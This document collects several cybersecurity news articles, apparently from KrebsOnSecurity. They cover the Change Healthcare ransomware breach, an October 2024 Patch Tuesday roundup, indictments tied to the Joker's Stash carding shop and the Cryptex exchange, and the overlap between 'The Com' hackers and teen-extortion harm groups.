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Change Healthcare says it has notified approximately 100 million Americans that their personal, financial and healthcare records may have been stolen in a February 2024 ransomware attack that caused the largest ever known data breach of protected health information.
Image: Tamer Tuncay, Shutterstock.com.
A ransomware attack at Change Healthcare in the third week of February quickly spawned disruptions across the U.S. healthcare system that reverberated for months, thanks to the company’s central role in processing payments and prescriptions on behalf of thousands of organizations.
In April, Change estimated the breach would affect a “substantial proportion of people in America.” On Oct 22, the healthcare giant notified the U.S. Department of Health and Human Resources (HHS) that “approximately 100 million notices have been sent regarding this breach.”
A notification letter from Change Healthcare said the breach involved the theft of:
-Health Data: Medical record #s, doctors, diagnoses, medicines, test results, images, care and treatment;
-Billing Records: Records including payment cards, financial and banking records;
-Personal Data: Social Security number; driver’s license or state ID number;
-Insurance Data: Health plans/policies, insurance companies, member/group ID numbers, and Medicaid-Medicare-government payor ID numbers.
The HIPAA Journal reports that in the nine months ending on September 30, 2024, Change’s parent firm United Health Group had incurred $1.521 billion in direct breach response costs, and $2.457 billion in total cyberattack impacts.
Those costs include $22 million the company admitted to paying their extortionists — a ransomware group known as BlackCat and ALPHV — in exchange for a promise to destroy the stolen healthcare data.
That ransom payment went sideways when the affiliate who gave BlackCat access to Change’s network said the crime gang had cheated them out of their share of the ransom. The entire BlackCat ransomware operation shut down after that, absconding with all of the money still owed to affiliates who were hired to install their ransomware.
A breach notification from Change Healthcare.
A few days after BlackCat imploded, the same stolen healthcare data was offered for sale by a competing ransomware affiliate group called RansomHub.
“Affected insurance providers can contact us to prevent leaking of their own data and [remove it] from the sale,” RansomHub’s victim shaming blog announced on April 16. “Change Health and United Health processing of sensitive data for all of these companies is just something unbelievable. For most US individuals out there doubting us, we probably have your personal data.”
It remains unclear if RansomHub ever sold the stolen healthcare data. The chief information security officer for a large academic healthcare system affected by the breach told KrebsOnSecurity they participated in a call with the FBI and were told a third party partner managed to recover at least four terabytes of data that was exfiltrated from Change by the cybercriminal group. The FBI declined to comment.
Change Healthcare’s breach notification letter offers recipients two years of credit monitoring and identity theft protection services from a company called IDX. In the section of the missive titled “Why did this happen?,” Change shared only that “a cybercriminal accessed our computer system without our permission.”
But in June 2024 testimony to the Senate Finance Committee, it emerged that the intruders had stolen or purchased credentials for a Citrix portal used for remote access, and that no multi-factor authentication was required for that account.
Last month, Sens. Mark Warner (D-Va.) and Ron Wyden (D-Ore.) introduced a bill that would require HHS to develop and enforce a set of tough minimum cybersecurity standards for healthcare providers, health plans, clearinghouses and businesses associates. The measure also would remove the existing cap on fines under the Health Insurance Portability and Accountability Act, which severely limits the financial penalties HHS can issue against providers.
According to the HIPAA Journal, the biggest penalty imposed to date for a HIPAA violation was the paltry $16 million fine against the insurer Anthem Inc., which suffered a data breach in 2015 affecting 78.8 million individuals. Anthem reported revenues of around $80 billion in 2015.
A post about the Change breach from RansomHub on April 8, 2024. Image: Darkbeast, ke-la.com.
There is little that victims of this breach can do about the compromise of their healthcare records. However, because the data exposed includes more than enough information for identity thieves to do their thing, it would be prudent to place a security freeze on your credit file and on that of your family members if you haven’t already.
The best mechanism for preventing identity thieves from creating new accounts in your name is to freeze your credit file with Equifax, Experian, and TransUnion. This process is now free for all Americans, and simply blocks potential creditors from viewing your credit file. Parents and guardians can now also freeze the credit files for their children or dependents.
Since very few creditors are willing to grant new lines of credit without being able to determine how risky it is to do so, freezing your credit file with the Big Three is a great way to stymie all sorts of ID theft shenanigans. Having a freeze in place does nothing to prevent you from using existing lines of credit you may already have, such as credit cards, mortgage and bank accounts. When and if you ever do need to allow access to your credit file — such as when applying for a loan or new credit card — you will need to lift or temporarily thaw the freeze in advance with one or more of the bureaus.
All three bureaus allow users to place a freeze electronically after creating an account, but all of them try to steer consumers away from enacting a freeze. Instead, the bureaus are hoping consumers will opt for their confusingly named “credit lock” services, which accomplish the same result but allow the bureaus to continue selling access to your file to select partners.
If you haven’t done so in a while, now would be an excellent time to review your credit file for any mischief or errors. By law, everyone is entitled to one free credit report every 12 months from each of the three credit reporting agencies. But the Federal Trade Commission notes that the big three bureaus have permanently extended a program enacted in 2020 that lets you check your credit report at each of the agencies once a week for free.
Microsoft today released security updates to fix at least 117 security holes in Windows computers and other software, including two vulnerabilities that are already seeing active attacks. Also, Adobe plugged 52 security holes across a range of products, and Apple has addressed a bug in its new macOS 15 “Sequoia” update that broke many cybersecurity tools.
One of the zero-day flaws — CVE-2024-43573 — stems from a security weakness in MSHTML, the proprietary engine of Microsoft’s Internet Explorer web browser. If that sounds familiar it’s because this is the fourth MSHTML vulnerability found to be exploited in the wild so far in 2024.
Nikolas Cemerikic, a cybersecurity engineer at Immersive Labs, said the vulnerability allows an attacker to trick users into viewing malicious web content, which could appear legitimate thanks to the way Windows handles certain web elements.
“Once a user is deceived into interacting with this content (typically through phishing attacks), the attacker can potentially gain unauthorized access to sensitive information or manipulate web-based services,” he said.
Cemerikic noted that while Internet Explorer is being retired on many platforms, its underlying MSHTML technology remains active and vulnerable.
“This creates a risk for employees using these older systems as part of their everyday work, especially if they are accessing sensitive data or performing financial transactions online,” he said.
Probably the more serious zero-day this month is CVE-2024-43572, a code execution bug in the Microsoft Management Console, a component of Windows that gives system administrators a way to configure and monitor the system.
Satnam Narang, senior staff research engineer at Tenable, observed that the patch for CVE-2024-43572 arrived a few months after researchers at Elastic Security Labs disclosed an attack technique called GrimResource that leveraged an old cross-site scripting (XSS) vulnerability combined with a specially crafted Microsoft Saved Console (MSC) file to gain code execution privileges.
“Although Microsoft patched a different MMC vulnerability in September (CVE-2024-38259) that was neither exploited in the wild nor publicly disclosed,” Narang said. “Since the discovery of CVE-2024-43572, Microsoft now prevents untrusted MSC files from being opened on a system.”
Microsoft also patched Office, Azure, .NET, OpenSSH for Windows; Power BI; Windows Hyper-V; Windows Mobile Broadband, and Visual Studio. As usual, the SANS Internet Storm Center has a list of all Microsoft patches released today, indexed by severity and exploitability.
Late last month, Apple rolled out macOS 15, an operating system update called Sequoia that broke the functionality of security tools made by a number of vendors, including CrowdStrike, SentinelOne and Microsoft. On Oct. 7, Apple pushed an update to Sequoia users that addresses these compatibility issues.
Finally, Adobe has released security updates to plug a total of 52 vulnerabilities in a range of software, including Adobe Substance 3D Painter, Commerce, Dimension, Animate, Lightroom, InCopy, InDesign, Substance 3D Stager, and Adobe FrameMaker.
Please consider backing up important data before applying any updates. Zero-days aside, there’s generally little harm in waiting a few days to apply any pending patches, because not infrequently a security update introduces stability or compatibility issues. AskWoody.com usually has the skinny on any problematic patches.
And as always, if you run into any glitches after installing patches, leave a note in the comments; chances are someone else is stuck with the same issue and may have even found a solution.
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The United States today unveiled sanctions and indictments against the alleged proprietor of Joker’s Stash, a now-defunct cybercrime store that peddled tens of millions of payment cards stolen in some of the largest data breaches of the past decade. The government also indicted and sanctioned a top Russian cybercriminal known as Taleon, whose cryptocurrency exchange Cryptex has evolved into one of Russia’s most active money laundering networks.
A 2016 screen shot of the Joker’s Stash homepage. The links have been redacted.
The U.S. Department of Justice (DOJ) today unsealed an indictment against a 38-year-old man from Novosibirsk, Russia for allegedly operating Joker’s Stash, an extremely successful carding shop that came online in late 2014. Joker’s sold cards stolen in a steady drip of breaches at U.S. retailers, including Saks Fifth Avenue, Lord and Taylor, Bebe Stores, Hilton Hotels, Jason’s Deli, Whole Foods, Chipotle, Wawa, Sonic Drive-In, the Hy-Vee supermarket chain, Buca Di Beppo, and Dickey’s BBQ.
The government believes the brains behind Joker’s Stash is Timur Kamilevich Shakhmametov, an individual who is listed in Russian incorporation documents as the owner of Arpa Plus, a Novosibirsk company that makes mobile games.
Early in his career (circa 2000) Shakhmametov was known as “v1pee” and was the founder of the Russian hacker group nerf[.]ru, which periodically published hacking tools and exploits for software vulnerabilities.
The Russian hacker group Nerf as described in a March 2006 article in the Russian hacker magazine xakep.ru.
By 2004, v1pee had adopted the moniker “Vega” on the exclusive Russian language hacking forum Mazafaka, where this user became one of the more reliable vendors of stolen payment cards.
In the years that followed, Vega would cement his reputation as a top carder on other forums, including Verified, DirectConnection, and Carder[.]pro.
Vega also became known as someone who had the inside track on “unlimited cashouts,” a globally coordinated cybercrime scheme in which crooks hack a bank or payment card processor and use cloned cards at cash machines to rapidly withdraw millions of dollars in just a few hours.
“Hi, there is work on d+p, unlimited,” Vega wrote in a private message to another user on Verified in Dec. 2012, referring to “dumps and PINs,” the slang term for stolen debit cards with the corresponding PINs that would allow ATM withdrawals.
This batch of some five million cards put up for sale Sept. 26, 2017 on the now-defunct carding site Joker’s Stash has been tied to a breach at Sonic Drive-In.
Joker’s Stash came online in the wake of several enormous card breaches at retailers like Target and Home Depot, and the resulting glut of inventory had depressed prices for stolen cards. But Joker’s would distinguish itself by catering to high-roller customers — essentially street gangs in the United States that would purchase thousands of stolen payment cards in one go.
Faced with a buyer’s market, Joker’s Stash set themselves apart by focusing on loyalty programs, frequent buyer discounts, money-back guarantees, and just plain good customer service. Big spenders were given access to the most freshly hacked payment cards, and were offered the ability to get free replacement cards if any turned out to be duds.
Joker’s Stash also was unique because it claimed to sell only payment cards that its own hackers had stolen directly from merchants. At the time, card shops typically resold payment cards that were stolen and supplied by many third-party hackers of unknown reliability or reputation.
In January 2021, Joker’s Stash announced it was closing up shop, after European authorities seized a number of servers for the fraud store, and its proprietor came down with the Coronavirus.
A DOJ statement credits the U.S. Secret Service for leading the years-long investigations (the Service’s original mandate was not protecting the president; it was pursuing counterfeiters, and modern-day carders definitely qualify as that). Prosecutors allege Joker’s Stash earned revenues of at least $280 million, but possibly more than $1 billion (the broad range is a consequence of several variables, including the rapid fluctuation in the price of bitcoin and the stolen goods they were peddling).
The proprietors of Joker’s Stash may have sold tens of millions of stolen payment cards, but Taleon is by far the bigger fish in this law enforcement action because his various cryptocurrency and cash exchanges have allegedly helped to move billions of dollars into and out of Russia over the past 20 years.
An indictment unsealed today names Taleon as Sergey Sergeevich Ivanov, 44, of Saint Petersburg, Russia. The government says Ivanov, who likely changed his surname from Omelnitskii at some point, laundered money for Joker’s Stash, among many other cybercrime stores.
In a statement today, the Treasury Department said Ivanov has laundered hundreds of millions of dollars’ worth of virtual currency for ransomware actors, initial access brokers, darknet marketplace vendors, and other criminal actors for approximately the last 20 years.
First appearing on Mazafaka in the early 2000s, Taleon was known on the forums as someone who could reliably move large amounts of physical cash. Sources familiar with the investigation said Taleon’s service emerged as one of the few remaining domestic cash delivery services still operating after Russia invaded Ukraine in Feb. 2022.
Taleon set up his service to facilitate transfers between Moscow, St. Petersburg and financial institutions in the West. Taleon’s private messages on some hacker forums have been leaked over the years and indexed by the cyber intelligence platform Intel 471. Those messages indicate Taleon worked on many of the same ATM cashouts as Vegas, so it’s clear the two had an established business relationship well before Joker’s Stash came into being.
Sometime around 2013, Taleon launched a partnership with a money transfer business called pm2btc[.]me. PM2BTC allowed customers to convert funds from the virtual currency Perfect Money (PM) into bitcoin, and then have the balance (minus a processing fee) available on a physical debit card that could be used at ATMs, for shopping online, or at retail stores.
A screenshot of a website reviewing PM2BTC.
The U.S. government itself set things in motion for Taleon’s nascent cryptocurrency exchange business in 2013 after the DOJ levied money laundering charges against the proprietors of Liberty Reserve, one of the largest virtual currencies in operation at the time. Liberty Reserve was heavily used by cybercriminals of all stripes. The government said the service had more than a million users worldwide, and laundered in excess of $6 billion in suspected criminal proceeds.
In the days following the takedown of Liberty Reserve, KrebsOnSecurity ran a story that examined discussions across multiple top Russian cybercrime forums about where crooks could feel safe parking their stolen funds. The answer involved Bitcoin, but also Taleon’s new service.
Part of the appeal of Taleon’s exchange was that it gave its vetted customers an “application programming interface” or API that made it simple for dodgy online shops selling stolen goods and cybercrime services to accept cryptocurrency deposits from their customers, and to manage payouts to any suppliers and affiliates.
This API is synonymous with a service Taleon and friends operate in the background called UAPS, short for “Universal Anonymous Payment System.” UAPS has gone by several other names including “Pinpays,” and in October 2014 it landed Joker’s Stash as its first big client.
A source with knowledge of the investigation told KrebsOnSecurity that Taleon is a pilot who owns and flies around in his own helicopter.
Ivanov appears to have little to no social media presence, but the 40-year-old woman he lives with in St. Petersburg does, and she has a photo on her Vktontake page that shows the two of them in 2019 flying over Lake Ladoga, a large body of water directly north of St. Petersburg.
Sergey “Taleon” Ivanov (right) in 2019 in his helicopter with the woman he lives with, flying over a lake north of St. Petersburg, Russia.
In late 2015, a major competitor to Joker’s Stash emerged using UAPS for its back-end payments: BriansClub. BriansClub sullies this author’s name, photos and reputation to peddle millions of credit and debit cards stolen from merchants in the United States and around the world.
An ad for BriansClub has been using my name and likeness for years to peddle millions of stolen credit cards.
In 2019, someone hacked BriansClub and relieved the fraud shop of more than 26 million stolen payment cards — an estimated one-third of the 87 million payment card accounts that were on sale across all underground shops at that time. An anonymous source shared that card data with KrebsOnSecurity, which ultimately shared it with a consortium of financial institutions that issued most of the cards.
After that incident, the administrator of BriansClub changed the site’s login page so that it featured a copy of my phone bill, Social Security card, and a link to my full credit report [to this day, random cybercriminals confuse Yours Truly with the proprietor of BriansClub].
Alex Holden is founder of the Milwaukee-based cybersecurity firm Hold Security. Holden has long maintained visibility into cryptocurrency transactions made by BriansClub.
Holden said those records show BriansClub sells tens of thousands of dollars worth of stolen credit cards every day, and that in the last two years alone the BriansClub administrator has removed more than $242 million worth of cryptocurrency revenue from the UAPS platform.
The BriansClub login page, as it looked from late 2019 until recently.
Passive domain name system (DNS) records show that in its early days BriansClub shared a server in Lithuania along with just a handful of other domains, including secure.pinpays[.]com, the crime forum Verified, and a slew of carding shops operating under the banner Rescator.
As KrebsOnSecurity detailed in December 2023, the Rescator shops were directly involved in some of the largest payment card breaches of the past decade. Those include the 2013 breach at Target and the 2014 breach at Home Depot, intrusions that exposed more than 100 million payment card records.
In early 2018, Taleon and the proprietors of UAPS launched a cryptocurrency exchange called Cryptex[.]net that has emerged as a major mover of ill-gotten crypto coins.
Taleon reminds UAPS customers they will enjoy 0% commission and no “know your customer” (KYC) requirements “on our exchange Cryptex.”
Cryptex has been associated with quite a few ransomware transactions, including the largest known ransomware payment to date. In February 2024, a Fortune 50 ransomware victim paid a record $75 million ransom to a Russian cybercrime group that calls themselves the Dark Angels. A source with knowledge of the investigation said an analysis of that payment shows roughly half of it was processed through Cryptex.
That source provided a screen shot of Cryptex’s sending and receiving exposure as viewed by Chainalysis, a company the U.S. government and many cryptocurrency exchanges rely on to flag transactions associated with suspected money laundering, ransomware payouts, or facilitating payments for darknet websites.
Chainalysis finds that Cryptex has received more than $1.6 billion since its inception, and that this amount is roughly equal to its sending exposure (although the total number of outflows is nearly half of the inflows).
The graphic indicates a great deal of money flowing into Cryptex — roughly a quarter of it — is coming from bitcoin ATMs around the world. Experts say most of those ATM inflows to Cryptex are bitcoin ATM cash deposits from customers of carding websites like BriansClub and Jokers Stash.
A screenshot of Chainalysis’s summary of illicit activity on Cryptex since the exchange’s inception in 2018.
The indictments released today do not definitively connect Taleon to Cryptex. However, PM2BTC (which teamed up with Taleon to launch UAPS and Pinpays) and Cryptex have now been sanctioned by the U.S. Department of the Treasury.
Treasury’s Financial Crimes Enforcement Network (FinCEN) levied sanctions today against PM2BTC under a powerful new “Section 9714” authority included in the Combating Russian Money Laundering Act, changes enacted in 2022 to make it easier to target financial entities involved in laundering money for Russia.
Treasury first used this authority last year against Bitzlato, a cryptocurrency exchange operating in Russia that became a money laundering conduit for ransomware attackers and dark market dealers.
An investigation into the corporate entities behind UAPS and Cryptex reveals an organization incorporated in 2012 in Scotland called Orbest Investments LP. Records from the United Kingdom’s business registry show the owners of Orbest Investments are two entities: CS Proxy Solutions CY, and RM Everton Ltd.
Public business records further reveal that CS Proxy Solutions and RM Everton are co-owners of Progate Solutions, a holding company that featured prominently in a June 2017 report from Bellingcat and Transparency International (PDF) on money laundering networks tied to the Kremlin.
“Law enforcement agencies believe that the total amount laundered through this process could be as high as US$80 billion,” the joint report reads. “Although it is not clear where all of this money came from, investigators claim it includes significant amounts of money that were diverted from the Russian treasury and state contracts.”
Their story built on reporting published earlier that year by the Organized Crime and Corruption Project (OCCRP) and Novaya Gazeta, which found that at least US$20.8 billion was secretly moved out of Russia between 2010 and 2014 through a vast money laundering machine comprising over 5,000 legal entities known as “The Laundromat.”
Image: occrp.org
“Using company records, reporters tracked the names of some clients after executives refused to give them out,” the OCCRP report explains. “They found the heavy users of the scheme were rich and powerful Russians who had made their fortunes from dealing with the Russian state.”
Rich Sanders is a blockchain analyst and investigator who advises the law enforcement and intelligence community. Sanders just returned from a three-week sojourn through Ukraine, traveling with Ukrainian soldiers while mapping out dodgy Russian crypto exchanges that are laundering money for narcotics networks operating in the region. Sanders said today’s sanctions by the Treasury Department will likely have an immediate impact on Cryptex and its customers.
“Whenever an entity is sanctioned, the implications on-chain are immense,” Sanders told KrebsOnSecurity. “Regardless of whether an exchange is actually compliant or just virtue signals it, it is the case across the board that exchanges will pay attention to these sanctions.”
“This action shows these payment processors for illicit platforms will get attention eventually,” Sanders continued. “Even if it took way too long in this case, Cryptex knew the majority of their volume was problematic, knew why it was problematic, and did it anyway. And this should be a wake up call for other exchanges that know full well that most of their volume is problematic.”
The U.S. Department of State is offering a reward of up to $10 million each for information leading to the arrests and/or convictions of Shakhmametov and Ivanov. The State announcement says separate rewards of up to $1 million each are being offered for information leading to the identification of other leaders of the Joker’s Stash criminal marketplace (other than Shakhmametov), as well as the identification of other key leaders of the UAPS, PM2BTC, and PinPays transnational criminal groups (other than Ivanov).
Image: U.S. Secret Service.
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A cyberattack that shut down two of the top casinos in Las Vegas last year quickly became one of the most riveting security stories of 2023. It was the first known case of native English-speaking hackers in the United States and Britain teaming up with ransomware gangs based in Russia. But that made-for-Hollywood narrative has eclipsed a far more hideous trend: Many of these young, Western cybercriminals are also members of fast-growing online groups that exist solely to bully, stalk, harass and extort vulnerable teens into physically harming themselves and others.
Image: Shutterstock.
In September 2023, a Russian ransomware group known as ALPHV/Black Cat claimed credit for an intrusion at the MGM Resorts hotel chain that quickly brought MGM’s casinos in Las Vegas to a standstill. While MGM was still trying to evict the intruders from its systems, an individual who claimed to have firsthand knowledge of the hack contacted multiple media outlets to offer interviews about how it all went down.
One account of the hack came from a 17-year-old in the United Kingdom, who told reporters the intrusion began when one of the English-speaking hackers phoned a tech support person at MGM and tricked them into resetting the password for an employee account.
The security firm CrowdStrike dubbed the group “Scattered Spider,” a recognition that the MGM hackers came from different cliques scattered across an ocean of Telegram and Discord servers dedicated to financially-oriented cybercrime.
Collectively, this archipelago of crime-focused chat communities is known as “The Com,” and it functions as a kind of distributed cybercriminal social network that facilitates instant collaboration.
But mostly, The Com is a place where cybercriminals go to boast about their exploits and standing within the community, or to knock others down a peg or two. Top Com members are constantly sniping over who pulled off the most impressive heists, or who has accumulated the biggest pile of stolen virtual currencies.
And as often as they extort victim companies for financial gain, members of The Com are trying to wrest stolen money from their cybercriminal rivals — often in ways that spill over into physical violence in the real world.
CrowdStrike would go on to produce and sell Scattered Spider action figures, and it featured a life-sized Scattered Spider sculpture at this year’s RSA Security Conference in San Francisco.
But marketing security products and services based on specific cybercriminal groups can be tricky, particularly if it turns out that robbing and extorting victims is by no means the most abhorrent activity those groups engage in on a daily basis.
KrebsOnSecurity examined the Telegram user ID number of the account that offered media interviews about the MGM hack — which corresponds to the screen name “@Holy” — and found the same account was used across a number of cybercrime channels that are entirely focused on extorting young people into harming themselves or others, and recording the harm on video.
Holy was known to possess multiple prized Telegram usernames, including @bomb, @halo, and @cute, as well as one of the highest-priced Telegram usernames ever put up for sale: @nazi.
In one post on a Telegram channel dedicated to youth extortion, this same user can be seen asking if anyone knows the current Telegram handles for several core members of 764, an extremist group known for victimizing children through coordinated online campaigns of extortion, doxing, swatting and harassment.
People affiliated with harm groups like 764 will often recruit new members by lurking on gaming platforms, social media sites and mobile applications that are popular with young people, including Discord, Minecraft, Roblox, Steam, Telegram, and Twitch.
“This type of offence usually starts with a direct message through gaming platforms and can move to more private chatrooms on other virtual platforms, typically one with video enabled features, where the conversation quickly becomes sexualized or violent,” warns a recent alert from the Royal Canadian Mounted Police (RCMP) about the rise of sextortion groups on social media channels.
“One of the tactics being used by these actors is sextortion, however, they are not using it to extract money or for sexual gratification,” the RCMP continued. “Instead they use it to further manipulate and control victims to produce more harmful and violent content as part of their ideological objectives and radicalization pathway.”
The 764 network is among the most populated harm communities, but there are plenty more. Some of the largest such known groups include CVLT, Court, Kaskar, Leak Society, 7997, 8884, 2992, 6996, 555, Slit Town, 545, 404, NMK, 303, and H3ll.
In March, a consortium of reporters from Wired, Der Spiegel, Recorder and The Washington Post examined millions of messages across more than 50 Discord and Telegram chat groups.
“The abuse perpetrated by members of com groups is extreme,” Wired’s Ali Winston wrote. “They have coerced children into sexual abuse or self-harm, causing them to deeply lacerate their bodies to carve ‘cutsigns’ of an abuser’s online alias into their skin.” The story continues:
“Victims have flushed their heads in toilets, attacked their siblings, killed their pets, and in some extreme instances, attempted or died by suicide. Court records from the United States and European nations reveal participants in this network have also been accused of robberies, in-person sexual abuse of minors, kidnapping, weapons violations, swatting, and murder.”
“Some members of the network extort children for sexual pleasure, some for power and control. Some do it merely for the kick that comes from manipulation. Others sell the explicit CSAM content produced by extortion on the dark web.”
KrebsOnSecurity has learned Holy is the 17-year-old who was arrested in July 2024 by the U.K.’s West Midlands Police as part of a joint investigation with the FBI into the MGM hack.
Early in their cybercriminal career (as a 15-year-old), @Holy went by the handle “Vsphere,” and was a proud member of the LAPSUS$ cybercrime group. Throughout 2022, LAPSUS$ would hack and social engineer their way into some of the world’s biggest technology companies, including EA Games, Microsoft, NVIDIA, Okta, Samsung, and T-Mobile.
Another timely example of the overlap between harm communities and top members of The Com can be found in a group of criminals who recently stole obscene amounts of customer records from users of the cloud data provider Snowflake.
At the end of 2023, malicious hackers figured out that many major companies have uploaded massive amounts of valuable and sensitive customer data to Snowflake servers, all the while protecting those Snowflake accounts with little more than a username and password (no multi-factor authentication required). The group then searched darknet markets for stolen Snowflake account credentials, and began raiding the data storage repositories used by some of the world’s largest corporations.
Among those that had data exposed in Snowflake was AT&T, which disclosed in July that cybercriminals had stolen personal information and phone and text message records for roughly 110 million people — nearly all its customers.
A report on the extortion group from the incident response firm Mandiant notes that Snowflake victim companies were privately approached by the hackers, who demanded a ransom in exchange for a promise not to sell or leak the stolen data. All told, more than 160 organizations were extorted, including TicketMaster, Lending Tree, Advance Auto Parts and Neiman Marcus.
On May 2, 2024, a user by the name “Judische” claimed on the fraud-focused Telegram channel Star Chat that they had hacked Santander Bank, one of the first known Snowflake victims. Judische would repeat that claim in Star Chat on May 13 — the day before Santander publicly disclosed a data breach — and would periodically blurt out the names of other Snowflake victims before their data even went up for sale on the cybercrime forums.
A careful review of Judische’s account history and postings on Telegram shows this user is more widely known under the nickname “Waifu,” an early moniker that corresponds to one of the more accomplished SIM-swappers in The Com over the years.
In a SIM-swapping attack, the fraudsters will phish or purchase credentials for mobile phone company employees, and use those credentials to redirect a target’s mobile calls and text messages to a device the attackers control.
Several channels on Telegram maintain a frequently updated leaderboard of the 100 richest SIM-swappers, as well as the hacker handles associated with specific cybercrime groups (Waifu is ranked #24). That leaderboard has long included Waifu on a roster of hackers for a group that called itself “Beige.”
Beige members were implicated in two stories published here in 2020. The first was an August 2020 piece called Voice Phishers Targeting Corporate VPNs, which warned that the COVID-19 epidemic had brought a wave of voice phishing or “vishing” attacks that targeted work-from-home employees via their mobile devices, and tricked many of those people into giving up credentials needed to access their employer’s network remotely.
Beige group members also have claimed credit for a breach at the domain registrar GoDaddy. In November 2020, intruders thought to be associated with the Beige Group tricked a GoDaddy employee into installing malicious software, and with that access they were able to redirect the web and email traffic for multiple cryptocurrency trading platforms.
The Telegram channels that Judische and his related accounts frequented over the years show this user divides their time between posting in SIM-swapping and cybercrime cashout channels, and harassing and stalking others in harm communities like Leak Society and Court.
Mandiant has attributed the Snowflake compromises to a group it calls “UNC5537,” with members based in North America and Turkey. KrebsOnSecurity has learned Judische is a 26-year-old software engineer in Ontario, Canada.
Sources close to the investigation into the Snowflake incident tell KrebsOnSecurity the UNC5537 member in Turkey is John Erin Binns, an elusive American man indicted by the U.S. Department of Justice (DOJ) for a 2021 breach at T-Mobile that exposed the personal information of at least 76.6 million customers.
Binns is currently in custody in a Turkish prison and fighting his extradition. Meanwhile, he has been suing almost every federal agency and agent that contributed investigative resources to his case.
In June 2024, a Mandiant employee told Bloomberg that UNC5537 members have made death threats against cybersecurity experts investigating the hackers, and that in one case the group used artificial intelligence to create fake nude photos of a researcher to harass them.
In June 2024, two American men pleaded guilty to hacking into a U.S. Drug Enforcement Agency (DEA) online portal that tapped into 16 different federal law enforcement databases. Sagar “Weep” Singh, a 20-year-old from Rhode Island, and Nicholas “Convict” Ceraolo, 25, of Queens, NY, were both active in SIM-swapping communities.
Singh and Ceraolo hacked into a number of foreign police department email accounts, and used them to make phony “emergency data requests” to social media platforms seeking account information about specific users they were stalking. According to the government, in each case the men impersonating the foreign police departments told those platforms the request was urgent because the account holders had been trading in child pornography or engaging in child extortion.
Eventually, the two men formed part of a group of cybercriminals known to its members as “ViLE,” who specialize in obtaining personal information about third-party victims, which they then used to harass, threaten or extort the victims, a practice known as “doxing.”
The U.S. government says Singh and Ceraolo worked closely with a third man — referenced in the indictment as co-conspirator #1 or “CC-1” — to administer a doxing forum where victims could pay to have their personal information removed.
The government doesn’t name CC-1 or the doxing forum, but CC-1’s hacker handle is “Kayte” (a.k.a. “KT“) which corresponds to the nickname of a 23-year-old man who lives with his parents in Coffs Harbor, Australia. For several years (with a brief interruption), KT has been the administrator of a truly vile doxing community known as the Doxbin.
A screenshot of the website for the cybercriminal group “ViLE.” Image: USDOJ.
People whose names and personal information appear on the Doxbin can quickly find themselves the target of extended harassment campaigns, account hacking, SIM-swapping and even swatting — which involves falsely reporting a violent incident at a target’s address to trick local police into responding with potentially deadly force.
A handful of Com members targeted by federal authorities have gone so far as to perpetrate swatting, doxing, and other harassment against the same federal agents who are trying to unravel their alleged crimes. This has led some investigators working cases involving the Com to begin redacting their names from affidavits and indictments filed in federal court.
In January 2024, KrebsOnSecurity broke the news that prosecutors in Florida had charged a 19-year-old alleged Scattered Spider member named Noah Michael Urban with wire fraud and identity theft. That story recounted how Urban’s alleged hacker identities “King Bob” and “Sosa” inhabited a world in which rival cryptocurrency theft rings frequently settled disputes through so-called “violence-as-a-service” offerings — hiring strangers online to perpetrate firebombings, beatings and kidnappings against their rivals.
Urban’s indictment shows the name of the federal agent who testified to it has been blacked out:
The final page of Noah Michael Urban’s indictment shows the investigating agent redacted their name from charging documents.
In June 2022, this blog told the story of two men charged with hacking into the Ring home security cameras of a dozen random people and then methodically swatting each of them. Adding insult to injury, the men used the compromised security cameras to record live footage of local police swarming those homes.
McCarty, in a mugshot.
James Thomas Andrew McCarty, Charlotte, N.C., and Kya “Chumlul” Nelson, of Racine, Wisc., conspired to hack into Yahoo email accounts belonging to victims in the United States. The two would check how many of those Yahoo accounts were associated with Ring accounts, and then target people who used the same password for both accounts.
The Telegram and Discord aliases allegedly used by McCarty — “Aspertaine” and “Couch,” among others — correspond to an identity that was active in certain channels dedicated to SIM-swapping.
What KrebsOnSecurity didn’t report at the time is that both ChumLul and Aspertaine were active members of CVLT, wherein those identities clearly participated in harassing and exploiting young teens online.
In June 2024, McCarty was sentenced to seven years in prison after pleading guilty to making hoax calls that elicited police SWAT responses. Nelson also pleaded guilty and received a seven-year prison sentence.
In March 2023, U.S. federal agents in New York announced they’d arrested “Pompompurin,” the alleged administrator of Breachforums, an English-language cybercrime forum where hacked corporate databases frequently appear for sale. In cases where the victim organization isn’t extorted in advance by hackers, being listed on Breachforums has often been the way many victims first learned of an intrusion.
Pompompurin had been a nemesis to the FBI for several years. In November 2021, KrebsOnSecurity broke the news that thousands of fake emails about a cybercrime investigation were blasted out from the FBI’s email systems and Internet addresses.
Pompompurin took credit for that stunt, and said he was able to send the FBI email blast by exploiting a flaw in an FBI portal designed to share information with state and local law enforcement authorities. The FBI later acknowledged that a software misconfiguration allowed someone to send the fake emails.
In December, 2022, KrebsOnSecurity detailed how hackers active on BreachForums had infiltrated the FBI’s InfraGard program, a vetted network designed to build cyber and physical threat information sharing partnerships with experts in the private sector. The hackers impersonated the CEO of a major financial company, applied for InfraGard membership in the CEO’s name, and were granted admission to the community.
The feds named Pompompurin as 21-year-old Peekskill resident Conor Brian Fitzpatrick, who was originally charged with one count of conspiracy to solicit individuals to sell unauthorized access devices (stolen usernames and passwords). But after FBI agents raided and searched the home where Fitzpatrick lived with his parents, prosecutors tacked on charges for possession of child pornography.
Recent actions by the DOJ indicate the government is well aware of the significant overlap between leading members of The Com and harm communities. But the government also is growing more sensitive to the criticism that it can often take months or years to gather enough evidence to criminally charge some of these suspects, during which time the perpetrators can abuse and recruit countless new victims.
Late last year, however, the DOJ signaled a new tactic in pursuing leaders of harm communities like 764: Charging them with domestic terrorism.
In December 2023, the government charged (PDF) a Hawaiian man with possessing and sharing sexually explicit videos and images of prepubescent children being abused. Prosecutors allege Kalana Limkin, 18, of Hilo, Hawaii, admitted he was an associate of CVLT and 764, and that he was the founder of a splinter harm group called Cultist. Limkin’s Telegram profile shows he also was active on the harm community Slit Town.
The relevant citation from Limkin’s complaint reads:
“Members of the group ‘764’ have conspired and continue to conspire in both online and in-person venues to engage in violent actions in furtherance of a Racially Motivated Violent Extremist ideology, wholly or in part through activities that violate federal criminal law meeting the statutory definition of Domestic Terrorism, defined in Title 18, United States Code, § 2331.”
Experts say charging harm groups under anti-terrorism statutes potentially gives the government access to more expedient investigative powers than it would normally have in a run-of-the-mill criminal hacking case.
